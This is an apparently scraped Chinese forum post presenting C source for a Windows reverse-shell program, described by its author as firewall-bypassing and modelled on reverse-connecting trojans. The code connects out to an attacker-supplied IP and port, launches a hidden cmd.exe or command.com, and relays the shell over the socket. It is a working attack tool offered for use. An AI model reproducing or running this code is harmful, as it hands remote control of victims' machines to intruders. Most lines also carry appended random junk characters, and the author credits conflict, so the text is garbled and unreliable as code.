这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t7DT5SrR
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/* ============================== vvG#O[| O
Rebound port in Windows NT *]
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By wind,2006/7 %,*{hhfu
===============================*/ /e}NZo{)g
#include .),m7"u|
#include _gF )aE
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#pragma comment(lib,"wsock32.lib") h=~TgTv
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void OutputShell(); c`&<"Us
SOCKET sClient; ON=6w_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Hi<5jl
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void main(int argc,char **argv) &De&ZypU
{ <Cw)S8t
WSADATA stWsaData; 4HK#]M>yz
int nRet; *G#W],~0
SOCKADDR_IN stSaiClient,stSaiServer; 3Ga!)
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if(argc != 3) /uzU]3KF~
{ V}kZowWD
printf("Useage:\n\rRebound DestIP DestPort\n"); G? "6[w/p
return; 5l"v:Px
} /u8m|S<
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WSAStartup(MAKEWORD(2,2),&stWsaData); >h7qI-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LMrb
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stSaiClient.sin_family = AF_INET; 64>o3Hb2
stSaiClient.sin_port = htons(0); /-l 7GswF
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]?`t
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $>;U^- #3
{ PI#xRKt
printf("Bind Socket Failed!\n"); Ln})\
UDK)
return; xCMcS~
3/
} /gKX%`ZF/r
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stSaiServer.sin_family = AF_INET; $!x8XpR8s
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x\Bl^1&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !$x9 s'D
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q]Cmaf (
{ [ENm(e$sI
printf("Connect Error!"); a8Jn.!
return; +tNu8M@xFo
} >?q()>l
OutputShell(); jLf. qf8qm
} k!K}<sX2
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void OutputShell() d3#
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{ mpBSd+;Z
char szBuff[1024]; `2y2Bk
SECURITY_ATTRIBUTES stSecurityAttributes; ! 3O#'CV
OSVERSIONINFO stOsversionInfo; !52]'yub
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eEkFZx
STARTUPINFO stStartupInfo; CCOd4
char *szShell; 7Xi)[M?)#
PROCESS_INFORMATION stProcessInformation; {mK=Vi g
unsigned long lBytesRead; ~1Q$FgLk
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); QcGyuS.B
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :;S]jNy}j)
stSecurityAttributes.lpSecurityDescriptor = 0; $UAmUQg)}_
stSecurityAttributes.bInheritHandle = TRUE; e`fN+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0Kxc$c
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WUSkN;idVG
hTZaI *
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jiMI&cl
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &
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stStartupInfo.wShowWindow = SW_HIDE; 'Jww}^h1
stStartupInfo.hStdInput = hReadPipe; VQO6!ToKY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TpLlbsd
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GetVersionEx(&stOsversionInfo); :4PK4D s7
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switch(stOsversionInfo.dwPlatformId) Iq`:h&'!L
{ f\FubL
case 1: y,i:BQJ<
szShell = "command.com"; }u0t i"V
break; {%ZD^YSA
default: }UK<tUO
szShell = "cmd.exe"; &y/
break; !SAjV)
} ^~k2(DLk
h[M~cZ{
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [!B($c|\
st"uD\L1p:
send(sClient,szMsg,77,0); RfVVAaI
while(1) )54;YK
{ y| *X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S+G!o]&2
if(lBytesRead) C~F do0D
{ dHV3d'.P
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &R:$h*Wt|
send(sClient,szBuff,lBytesRead,0); y<bA Y_-[
} 2yk32|
else KiU/N$E
{ :!a'N3o>
lBytesRead=recv(sClient,szBuff,1024,0); ZtPq*/'
if(lBytesRead<=0) break; yES+0D 5<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z;GR(;w/
} C=&7V
} )#
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return; N6Mo|
}